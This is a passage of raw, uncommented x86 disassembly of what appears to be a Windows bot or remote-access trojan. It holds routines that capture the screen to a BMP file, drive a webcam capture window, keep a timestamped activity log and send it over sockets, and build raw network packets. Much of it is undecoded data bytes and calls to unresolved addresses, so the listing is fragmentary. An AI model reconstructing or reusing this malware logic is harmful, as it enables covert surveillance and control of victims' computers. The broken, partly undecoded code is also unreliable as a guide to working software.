ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_4143CB db 55h ; DATA XREF: sub_401ACD+6D49o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 737Dh, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 5EE068FFh, 0E8500043h dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 6F98E8F0h, 5959FFFFh, 0E0E89056h, 55022CC5h, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0B02415FFh, 4589004Ch, 50D6FFF8h dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 1BE89000h, 2B0227C1h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CE7581Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CAF48h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D5A468h dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 3868FFFFh dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CAFE4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CAFA4h, 0AE458966h, 7345E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CB00815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0B03C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 435F14h, 7160E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh dd 90006A14h, 2CC31EE8h, 0EC8B5502h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CB02415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 436104h, 710CE850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF84h, 75FFF883h, 3815FF0Eh dd 50004CAFh, 4360B468h, 8D1BEB00h, 0FF500C45h, 4CAFE415h dd 0FFF88300h, 15FF2075h, 4CAF38h, 60706850h, 858D0043h dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 0A415FF00h, 66004CAFh, 8DDE4589h, 90500C45h dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 604468FFh, 0E8500043h, 706Ah dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CE7583Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CAF48h, 0E8016A53h, 3DD4h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D5A468ACh dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE13868h dd 0CDE85000h, 59000075h, 5C65659h, 4CE338h, 0A415FF45h dd 66004CAFh, 4CE33AA3h, 0AC458D00h, 5C76650h, 4CE33Ch dd 89660001h, 4CE33E3Dh, 4005C600h, 80004CE3h, 0E34105C6h dd 6611004Ch, 0E3423D89h, 15FF004Ch, 4CAFE4h, 4CE344A3h dd 0E0458B00h, 4CE348A3h, 8C858D00h, 50000000h, 523D8966h dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h dd 4CAFA415h, 4EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CE34Ch, 0AFA415FFh, 68004Ch dd 66000004h, 4CE350A3h, 6F3CE800h, 0F7990000h, 546852FBh dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h dd 4CE338h, 0FFF475FFh, 4CB00815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 0BC20E8FCh, 2B900227h, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 3C15FFF4h, 8B004CB0h, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FE068h dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CAF3815h, 458D5000h, 5468500Ch, 0EB00435Fh db 0ACh byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CAFE415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 613068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 20E89056h dd 5F022CBFh ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_414B6E push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_414C2A ; --------------------------------------------------------------------------- loc_414B6E: ; CODE XREF: ___:00414B58j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CAF4C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CAF8C test eax, eax jnz short loc_414BD2 or eax, 0FFFFFFFFh jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BCBj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDD loc_414BD9: ; CODE XREF: ___:00414BFDj ; ___:00414C21j mov eax, edi jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BDD: ; CODE XREF: ___:00414BD7j lea eax, [ebp-10Ch] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_414BFF lea eax, [ebp-210h] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jz short loc_414BD9 loc_414BFF: ; CODE XREF: ___:00414BECj lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_414BD9 mov eax, [ebp-4] neg eax sbb eax, eax loc_414C2A: ; CODE XREF: ___:00414B69j ; ___:00414BD0j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh, 6AEC4D8Dh dd 26A5104h, 0C8A35053h, 0FF004CE7h, 4CAF8415h, 0A8358B00h dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0A415FF50h dd 53004CAFh, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CB02415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B03C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0E7CCBF83h, 6068004Ch, 570042CAh, 6A85E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 5C685750h, 57004361h, 0E8F04589h, 6A46h dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h dd 4CAFA415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CE768h, 6717E8h, 0FFFFBE00h dd 5C60000h, 4CE768h, 685645h, 0C6000004h, 4CE77105h, 5C60600h dd 4CE769h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAFA4h dd 0A366286Ah, 4CE76Ch, 0AFA415FFh, 0D80004Ch, 4CE770h dd 581D39FFh, 66004CE7h, 4CE76AA3h, 1D896600h, 4CE76Eh dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CE13868h, 0E415FF00h, 0A3004CAFh dd 4CE774h, 6808458Bh, 4000h, 4CE778A3h, 891D8800h, 0FF004CE7h dd 4CAFA415h, 66535600h, 4CE78AA3h, 3762E800h, 0F88B0000h dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AFA015FFh dd 80A3004Ch, 0A0004CE7h, 4CE788h, 24087D8Bh, 6A500C0Fh dd 0E788A214h, 8B66004Ch, 1D89F045h, 4CE784h, 8E1D8966h dd 66004CE7h, 4CE77EA3h, 0A43D8900h, 88004CE7h, 4CE7A81Dh dd 0A905C600h, 6004CE7h, 0AFA415FFh, 0A366004Ch, 4CE7AAh dd 0E77EA166h, 0C766004Ch, 4CE79005h, 89000200h, 4CE7943Dh dd 92A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 36CBE8h, 50595900h, 0AFA415FFh, 0A366004Ch dd 4CE77Ch, 4CE774A1h, 0E7A0A300h, 5C6004Ch, 4CE789h, 841D8902h dd 0EB004CE7h, 0C653561Fh, 4CE78905h, 95E81000h, 59000036h dd 15FF5059h, 4CAFA4h, 0A3C0B70Fh, 4CE784h, 6C05FF66h dd 0FF004CE7h, 4CE78005h, 7EA16600h, 6A004CE7h, 7CBE5905h dd 0BF004CE7h, 4CE7ACh, 721D8966h, 66004CE7h, 0E78C1D89h dd 146A004Ch, 68BEA5F3h, 66004CE7h, 4CE792A3h, 25E85600h dd 6AFFFF5Ch, 0E7A06820h, 0A366004Ch, 4CE772h, 0FF5C13E8h dd 10C483FFh, 0E78CA366h, 106A004Ch, 4CE79068h, 286A5300h dd 0C835FF56h, 0FF004CE7h, 4CB00815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 73E890FFh, 2B0227B5h, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 25BE6BE8h dd 0FDC2E902h, 5E5FFFFFh, 4CE7CCB8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D160 mov edi, 0B8h loc_4150C8: ; CODE XREF: sub_4150B4+33j cmp byte ptr [esi], 0 jz short loc_4150EB push [ebp+arg_0] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4150EB inc [ebp+var_4] add esi, edi cmp esi, offset dword_43DCE0 jl short loc_4150C8 jmp short loc_41512D ; --------------------------------------------------------------------------- loc_4150EB: ; CODE XREF: sub_4150B4+17j ; sub_4150B4+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43D160[esi] push ebx call sub_41B590 push 17h push [ebp+arg_0] push ebx call sub_41B5F0 push 9Fh lea eax, dword_43D178[esi] push [ebp+arg_4] push eax call sub_41B5F0 add esp, 24h inc dword_42923C pop ebx loc_41512D: ; CODE XREF: sub_4150B4+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_436178 push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h xor edi, edi mov esi, offset dword_43D160 loc_41515E: ; CODE XREF: sub_415134+72j cmp byte ptr [esi], 0 jz short loc_415199 lea eax, [esi+18h] push eax push esi push edi push offset dword_436164 lea eax, [ebp+var_200] push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch loc_415199: ; CODE XREF: sub_415134+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43DCE0 jl short loc_41515E pop edi pop esi leave retn sub_415134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AC proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 27A0000h mov ebx, offset dword_4D2BCC mov edi, 80h mov esi, offset dword_4CEBCC loc_4151CE: ; CODE XREF: sub_4151AC+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E5 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B5F0 add esp, 0Ch loc_4151E5: ; CODE XREF: sub_4151AC+25j sub ebx, edi cmp ebx, esi jge short loc_4151CE movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B980 add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415220 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C190 lea eax, [ebp+var_80] push eax call sub_4151AC add esp, 14h leave retn sub_415220 endp ; =============== S U B R O U T I N E ======================================= sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CEBCC xor ecx, ecx loc_415253: ; CODE XREF: sub_41524C+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D2BCC jl short loc_415253 cmp [esp+arg_C], ecx jnz short loc_415281 push ecx push [esp+4+arg_8] push offset dword_4361C4 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409A72 add esp, 14h loc_415281: ; CODE XREF: sub_41524C+19j push offset dword_4361B0 call sub_4151AC pop ecx retn sub_41524C endp ; --------------------------------------------------------------------------- byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o ; --------------------------------------------------------------------------- sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_4152E0 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_4361F4 push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_4152E0: ; CODE XREF: ___:004152C0j cmp byte ptr [ebp-98h], 0 jz short loc_415300 lea eax, [ebp-98h] push eax call sub_41B779 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415300 mov [ebp-8], eax loc_415300: ; CODE XREF: ___:004152E7j ; ___:004152FBj and dword ptr [ebp+8], 0 mov esi, offset dword_4CEBCC loc_415309: ; CODE XREF: ___:00415361j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415363 cmp byte ptr [esi], 0 jz short loc_415352 cmp byte ptr [ebp-98h], 0 jz short loc_415338 cmp dword ptr [ebp-4], 0 jnz short loc_415338 lea eax, [ebp-98h] push eax push esi call sub_418086 pop ecx test eax, eax pop ecx jz short loc_415352 loc_415338: ; CODE XREF: ___:0041531Dj ; ___:00415323j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_415352: ; CODE XREF: ___:00415314j ; ___:00415336j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D2BCC jl short loc_415309 loc_415363: ; CODE XREF: ___:0041530Fj lea eax, [ebp-31Ch] push offset dword_4361D8 push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_41539D push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_41539D: ; CODE XREF: ___:0041537Bj lea eax, [ebp-31Ch] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 pop ecx pop ecx push esi nop ; --------------------------------------------------------------------------- db 0E8h, 0A9h, 0B6h ; --------------------------------------------------------------------------- sub al, 2 pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CAF90 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F0 push 8 push edi call dword_4CAFAC push 0Ah push edi mov [ebp+var_8], eax call dword_4CAFAC push 0Ch push edi mov [ebp+var_C], eax call dword_4CAFAC cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541E push 18h push edi call dword_4CAFAC mov ebx, 100h jmp short loc_415420 ; --------------------------------------------------------------------------- loc_41541E: ; CODE XREF: sub_4153BC+50j xor ebx, ebx loc_415420: ; CODE XREF: sub_4153BC+60j push edi call dword_4CAFF0 cmp eax, esi mov [ebp+var_4], eax jz loc_4155D5 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CAFE8 cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E0 push eax push [ebp+var_4] call dword_4CAE74 cmp eax, esi jz loc_4155E0 cmp eax, 0FFFFFFFFh jz loc_4155E0 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CAFEC test eax, eax jz loc_4155E0 cmp ebx, esi jz short loc_4154DD lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CAEC8 mov ebx, eax loc_4154DD: ; CODE XREF: sub_4153BC+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi nop call near ptr 27109BDh cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C0 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax nop call near ptr 2700000h lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 2700000h cmp ebx, esi jz short loc_4155A2 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] nop call near ptr 2700000h loc_4155A2: ; CODE XREF: sub_4153BC+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] nop call near ptr 2700000h push [ebp+arg_0] nop call near ptr 26609B7h push 1 pop esi loc_4155C0: ; CODE XREF: sub_4153BC+1A2j push [ebp+var_1C] call dword_4CAF00 push [ebp+var_4] call dword_4CAE60 mov edi, [ebp+var_20] loc_4155D5: ; CODE XREF: sub_4153BC+70j push edi call dword_4CAE60 mov eax, esi jmp short loc_4155F2 ; --------------------------------------------------------------------------- loc_4155E0: ; CODE XREF: sub_4153BC+C7j ; sub_4153BC+D9j ... push edi call dword_4CAE60 push [ebp+var_4] call dword_4CAE60 loc_4155F0: ; CODE XREF: sub_4153BC+23j xor eax, eax loc_4155F2: ; CODE XREF: sub_4153BC+222j pop edi pop esi pop ebx leave retn sub_4153BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BD0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEF4 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415635 mov eax, esi jmp loc_4157EB ; --------------------------------------------------------------------------- loc_415635: ; CODE XREF: sub_4155F7+35j push edi call dword_4CAF44 test eax, eax jz short loc_415652 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CB000 jmp short loc_415654 ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_4155F7+47j xor eax, eax loc_415654: ; CODE XREF: sub_4155F7+59j cmp eax, ebx jnz short loc_41565F loc_415658: ; CODE XREF: sub_4155F7+88j ; sub_4155F7+BCj mov ebx, esi jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_41565F: ; CODE XREF: sub_4155F7+5Fj push edi call dword_4CAF44 test eax, eax jz short loc_41567C lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CB000 loc_41567C: ; CODE XREF: sub_4155F7+71j cmp [ebp+var_20], ebx jz short loc_415658 push edi call dword_4CAF44 test eax, eax mov edi, 42Ch jz short loc_4156A2 push ebx push ebx push edi push [ebp+var_4] call dword_4CB000 mov [ebp+arg_4], eax jmp short loc_4156A5 ; --------------------------------------------------------------------------- loc_4156A2: ; CODE XREF: sub_4155F7+98j mov [ebp+arg_4], ebx loc_4156A5: ; CODE XREF: sub_4155F7+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415658 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CC push 1 pop ebx jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4155F7+CBj push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_4156E9 push [ebp+var_8] push [ebp+arg_4] push edi 